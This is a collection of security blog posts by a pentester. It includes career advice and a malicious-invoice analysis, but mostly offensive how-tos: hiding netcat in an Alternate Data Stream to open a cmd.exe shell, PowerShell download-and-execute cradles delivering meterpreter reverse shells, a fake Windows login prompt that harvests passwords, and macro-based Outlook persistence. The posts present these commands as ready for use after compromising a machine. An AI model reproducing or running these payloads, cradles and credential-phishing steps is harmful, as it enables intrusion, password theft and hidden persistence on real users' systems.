As I previously mentioned, the security industry is awesome about mentoring. I should also note that there are also people that find joy in tearing you and your work down. As you learn and grow, realize that you are not an expert in everything and you are human. Humans make mistakes, so you will too. When that happens, chalk it up as a learning experience. Don’t get discouraged or angry. The industry revolves around learning, no matter how brilliant you are. For example: I did some research with Alternate Data Streams and using them with PowerShell and VBScript to obtain persistence on a compromised host. I did as much research as I could, wrote some code, published it and wrote a blog post. I was just entering into technology when Windows XP was phasing out so I had no experience with Alternate Data Streams. All I had was what I read and the code I wrote. When I published my blog post, I made the mistake of claiming this method of persistence as “Fileless”. As soon as I shared my post, I got torn apart by forensic and Incident Response professionals. They bashed me since Alternate Data Streams are not fileless, as I claimed them to be in my post. To be honest, I felt dumb and was tempted to just delete the post all together. This will happen to anyone that contributes, I promise. Instead of getting discouraged, I remained professional, fixed my blog post and thanked those who jumped at the opportunity to smack me in the face. I’m glad they did because now, I know that Alternate Data Streams are not fileless. I took that as an opportunity to learn from those who are smarter than me. Again, just keep learning.

8. Remember where you came from

As you grow as a student and professional, you will likely become an expert in the field at some point. When this happens, don’t turn into a gigantic asshole. As I previously mentioned, the security industry is awesome about mentoring but there are also people who will sit and wait for the opportunity to bring you down. A lot of people see those new to the industry as “n00bs”, “dumb” and “inexperienced” and in turn, won’t give them the time of day. When someone comes to you with a question, no matter how dumb, answer them. They are asking you for a reason and being an asshole about it helps nobody. You were in that spot once so when someone approaches you (or “sticks with you”, as mentioned in tip 4), take them in and give them guidance. I have started to see that the security industry is kind of like High School. There are different groups with different attitudes. Someone just entering the industry feels exactly like the first day of high school. They just want a friend. If you invest in someone, you will help grow them into a professional. This cycle repeats, so they will then hopefully do the same thing for the next rookie, etc.

9. Get yourself out there

Go to conferences and hang out with people. This is even more important when you are trying to get into the industry. By going to conferences, you can talk to people that you may see as an idol. Almost everyone will sit down with you and talk, because they understand the concept of not being an asshole. Those are the people you need to stick by. Example: I started my journey into information security in 2013. I knew nothing and I knew nobody. I had a small presence on Twitter where I just followed some security guys, but that was it. I couldn’t afford to go to a conference, so I didn’t. I made a comment on Twitter one day about wanting to go to DerbyCon sometime and was met with open arms. Tickets were sold out, but someone offered to sell me their ticket. I was thrilled, but couldn’t afford to buy the ticket or hotel, so I politely declined. A few minutes later, that same person decided to just give me their ticket. They didn’t know me or what I was about, but they gave me their ticket anyway. I told my parents that I was going to this conference and that I would be sleeping in my car. Luckily, they decided to pay for the hotel. I ended up going to DerbyCon in 2013 and had the time of my life. I met some awesome people, made some amazing friends and saw some awesome talks. Going to the conference, I knew nobody. After the conference, I felt like a part of the family.

10. Stay humble

There is not a single person that is an expert in everything. There will always be someone smarter than you in certain areas. Put your ego aside and accept that you are not the smartest expert in the field. The moment that your ego gets in the way is the moment that you stop learning and fall behind. Share your knowledge and expertise with others and take in the knowledge and expertise of others. Sharing is caring.


All I can say is stay true to yourself, contribute, get your name out there and never stop learning. When given the opportunity, share your experiences and knowledge with those who want to learn. Ask questions, learn and get in the weeds. The last thing the industry needs is a “professional” who runs Nessus and puts their logo on the report. 🙂


And most importantly, keep a good attitude and  have fun! 😀



Packager Shell Object being used as Infection Vector

Today, something interesting came across my desk. A user forwarded me an email that claimed to be an invoice and attached to it was a word document. At first, I was excited to take a look at another malicious office macro. When I opened the document, I was kind of let down. All I saw was an embedded Excel file:



Looking at the properties of that file, I quickly noticed that it wasn’t an excel file at all. When you double click on that file, you will notice that a VBScript file gets dropped into AppData\Local\Temp.



When I opened the VBScript file, this is what I saw:


I should note that I do not do malware analysis nor do I work in a full fledged security job. I just work the helpdesk. Since I have other stuff to do, I took a shortcut when analyzing this code. The part I was interested in is the “CreateObject” portion at the top. I set the first portion of that line to a variable and echoed it back:


Here is the result:


I did the same for the “run” portion of the “CreateObject” line:


And the result:



It appears that the attackers are disguising VBScript files as Excel files. When you double-click on the embedded file, it saves the VBScript file to %Temp% and runs. It then uses the well-known Powershell Cradle to fetch the payloads.


Just another interesting way attackers are combining and using Microsoft Office, VBScript and Powershell as an infection vector.

The SHA256 of the initial document is here: 9e73ab4798b8fb49645e2cbb54d6e85e396ef14feb43b5f53d555e92274e92aa


The SHA265 of the VBScript file is here:



-Matt N. (@enigma0x3)

Manually Removing the Password from Malicious VBA Projects

Malicious actors are always looking for a way to deliver their malware to their targets. Recently, they have resorted to distributing malicious Office documents containing VBA macros. This method is often effective because all the user needs to do is click “Enable Macros” displayed in the document and code execution is achieved. They often rely on social engineering in order to persuade the target to run the macro. For example, a recent campaign has revealed that the authors will have the document display “encrypted” text. It will then ask the user to click “Enable Macros” in order to decrypt it. Once the macro is ran, it hides the “encrypted” text and then reveals actual readable text.

You can read more about this here

With the popularity of VBA macros increasing, attackers are now trying to find ways to prevent people from actually seeing what the malicious macro does. The most common method that I have seen is password protecting the project. This definitely keeps people from viewing the code, but with a little hex manipulation, you can remove that password.

I have had a few people ask me how to manually remove the password from a VBA project without using commercial tools. Luckily, you can accomplish the same task by using your favorite hex editor.

Do do so, just open the suspicious Office document in a hex editor. Once open, search for the string “DPB”:




All you have to do is replace that value with “DPX”. Once changed, save and close it:


When you re-open the document and click on “Visual Basic” in the Developer tab, you will get prompted with two errors shown below. Just click through them.




If you don’t have the developer tab, you can add it by going to file->Options->Customize Ribbon and checking the “Developer” checkbox on the right hand side.

Clicking on “Visual Basic” will open the Visual Basic Editor. From here, you can see/edit any new or existing projects. Right click on the malicious project and select “Project Properties”. Once the properties are displayed, select the “Protection” tab and uncheck the “Lock Project for Viewing” checkbox.


Save and close the document. When you re-open, you will be able to view the VBA project by going to the Developer tab and clicking “Visual Basic”. From there, the previously protected VBA project is now open and ready to be analyzed.


Matt N. (@enigma0x3)

Using Alternate Data Streams to Persist on a Compromised Machine

Back in the days before Windows Vista, Alternate Data Streams used to be an acceptable way for malware authors to hide their malicious code. An Alternate Data Stream can be used to hide the presence of secret or malicious files inside a legitimate file. By putting malware in an ADS, Windows will contain information for the legitimate file as well as the malicious file.

For example:

C:\>type C:\nc.exe > C:\windows\system32\calc.exe:svchost.exe

C:\>start /B C:\windows\system32\calc.exe:svchost.exe -d -L -p 2222 -e cmd.exe

The above commands will hide nc.exe in an Alternate Data Stream for calc.exe called svchost.exe and then start nc.exe from the ADS associated with calc.exe. Microsoft found this as an issue and removed the ability to run anything from ADS starting after Windows XP. In order to run your code that resides in an ADS, you would want to create a symlink using the mklink command. While this works, you have to have administrative rights on the machine in order to create the symlink. We all know users are not supposed to be running as an admin, so I tend to approach attack methods with the assumption that I will land on a box without admin rights.


Fortunately, I found a way to inject code into an Alternate Data Stream and execute it as a normal user. You can find the Powershell script here:


This persistence method contains two items that almost all Penetration Testers like: The method’s ability to operate as a standard user and the ability to avoid detection. It is also important to know that Alternate Data Streams cannot be viewed unless you specify the /a /r command when doing a directory listing. This is appealing because of the stealth the ADS provides.

Once you have compromised a machine, you can run the above Powershell script. The script takes two parameters: -URL and -Arguments. -URL is the URL to your payload and -Arguments is for storing any parameters your payload requires. When specifying the arguments, you have to quote them. It will look similar to this: -Arguments “BadFunction -Lhost -LPort 3333 -Payload weeeeee”. Note the “BadFunction” portion of the Arguments. If your Powershell script contains a function, you must include it as an argument.


Running this script on a compromised machine will look something like this. Depending on your payload, the string complexity will change. Here is an example that executes a payload with the function “hack” with no arguments. The function simply executes calc.exe:



And here is an example that executes the function “Invoke-Shellcode” and passes LHost, LPort and Payload to the function:



Looking at the command, we wrap the whole Powershell command in double quotes. That means when we get to our arguments, we have to quote them with single quotes:

powershell.exe -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘;); Invoke-ADSBackdoor -URL -Arguments ‘Invoke-Shellcode -LHost -LPort 666 -Payload windows/meterpreter/reverse_https -Force’


After running the script, it will do the following:

-Encode the Powershell command that will execute your payload

-Create an Alternate Data Stream under the AppData folder and inject the Powershell Payload into it

-Create a VBS wrapper that will parse and execute the contents of the Alternate Data Stream containing the payload

-Create a second Alternate Data Stream under the AppData folder and inject the VBS wrapper into it

-Create a registry entry called “Update” in HKCU:\Software\Microsoft\Windows\CurrentVersion\Run

When the user logs on next, the Registry key will use wscript.exe to execute the Alternate Data Stream for the VBS wrapper. Once executed, the VBS wrapper will parse through and execute the contents of the Alternate Data Stream containing the payload.

After running the script, we can do a simple “dir” to see if we see it.


As you can see, the AppData folder isn’t showing up. This is because it is a hidden system folder. To see it, we can do a “dir /a”


As you can now see, the AppData folder is showing up. From the looks of it, everything is fine. There doesn’t appear to be anything attached to it. To see what Alternate Data Streams exist, we can do a “dir /a /r”



Now we see two Alternate Data Streams under the AppData folder. One is called 4jrjuqekkpg.vbs and the other is called jkwsp3nf0ao.txt. These are the Alternate Data Streams that the Powershell persistence script created. It randomly generates a name for each Data Stream and shoves it into AppData. To see a little more about these two hidden streams, we can use streams.exe from SysInternals:


This verifies that there are two Alternate Data Streams associated with the AppData folder. We can dig a little deeper into these streams by using “more”:


Here we see that the Alternate Data Stream 4jrjuqekkpg.vbs  contains some VBScript. This is the wrapper that is simply used to suppress the shell prompt when Powershell and cmd.exe are executed. It then parses the Alternate Data Stream “jkwsp3nf0ao.txt” and executes it. This ensures that the user isn’t alerted to the attack. It is essential to know that 4jrjuqekkpg.vbs and jkwsp3nf0ao.txt are not written to the AppData folder, but instead are written to an Alternate Data Stream for AppData. Now that we know what the VBS wrapper does, let’s take a look at the ADS containing the payload:


As you can see, the payload contains powershell.exe and an encoded string. To get more info on the payload, we can decode the string:


Here we can see that the Alternate Data Stream jkwsp3nf0ao.txt actually contains code that shovels meterpreter back to an IP address on port 666 over HTTPS. The scary part about this is that most people have no idea Alternate Data Streams exist and if they do, they are unaware of how to go about looking for them. These Data Streams also don’t have much of a footprint on the file system.


As a recap, here is how this works. Run the Powershell script and specify a payload URL and any Arguments for the payload. The arguments need to be in quotes. The script will encode the Powershell command and inject it into an Alternate Data Stream under C:\Users\{username}\AppData while using a randomly generated file name. It will then inject some VBScript into a 2nd Alternate Data Stream that parses and executes the ADS containing the payload and then suppresses the console on execution. Once both Alternate Data Streams exist, it will then create a registry key that will use wscript.exe to run the Alternate Data Stream containing the VBS wrapper. When the VBS wrapper is executed, it will parse the Alternate Data Stream that contains the payload and execute it.

Remember, this persistence method works for standard user accounts and is fairly difficult to track down if you don’t know what to look for.


Have fun!

Matt N. (@enigma0x3)

Phishing for Credentials: If you want it, just ask!


I have updated the script so it checks for credential validation. The prompt will not close until the user enters the correct password. Once validated, it will display the password for you.

Today, I was playing with Invoke-Mimikatz, which was created by @JosephBialek, which takes Mimikatz (created by @gentilkiwi) and loads it into memory. I absolutely LOVE this tool, but I get sad when I don’t have admin rights on the box and I don’t want to touch disk. If all you are after are the current user’s credentials (for email, vpn, network access), you can use this method. I initially thought of this after reading a report by FireEye regarding FIN4’s method of invoking an outlook login prompt when the macro is ran. You can find this report here

You can find my code here:

Basically, you compromise a machine using a malicious VBA macro or some sort of other vector. Once you have access to this machine, drop to a shell by typing “Shell” at the meterpreter prompt.



From there, you can run the following command: powershell.exe -ep bypass -c IEX ((New-Object Net.WebClient).DownloadString(‘URL_To_Invoke-LoginPrompt’)); Invoke-LoginPrompt

*When you add the URL to the Invoke-LoginPrompt script, make sure you use the “Raw” version on github or host your own*



When this runs, the user will get a prompt that is pre-populated with their domain and username.



When the user enters their password, it will return it to you with the domain and the user’s username:



From there, you can now login to whatever resources you want as that user.





Matt N. (@enigma0x3)

Persistence using Microsoft Outlook

As you know, Microsoft Office is one of the most used productivity suites in the game. Just about every enterprise uses Outlook as their email client. In the hunt for obscure ways to persist on a machine, I created this.

Before I begin, I want to give a shout-out to Matt Graeber. Matt is an amazing researcher and he came up with Invoke-Shellcode, which is used in this method. Give him a follow on Twitter

This type of attack is a Macro attack. The way this works is there is a Powershell script that runs 24/7 on the machine, which checks the default inbox for your email address and a specified subject at a given interval. When it sees your email, it shovels you a shell and deletes that email. I have made both the attack macro and the persist Powershell script available on Github: There are 4 functions in the macro.

Execute: Upon opening the document, it uses Invoke-Shellcode to shovel you a shell

Persist: This function writes a text file to C:\Users\Public, changes the extension to .vbs and sets the attributes to hidden. This .vbs file is a wrapper that executes Powershell and passes Persist.ps1 to it.

Reg: This function creates a registry key in HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load that points to the hidden .vbs file. This ensures that the Powershell script starts back up after a reboot.

Start: This starts the script immediately


To execute this, you create a document with a VBA macro and paste in the macro code (you need to update the IP address that your multi/handler is listening on). You then pull down Persist.ps1 and throw it on a public server. Once it is accessible, you need to change the email address, trigger word and IP address. Save the file and send the document off to the target. That is it.

Here is a demo: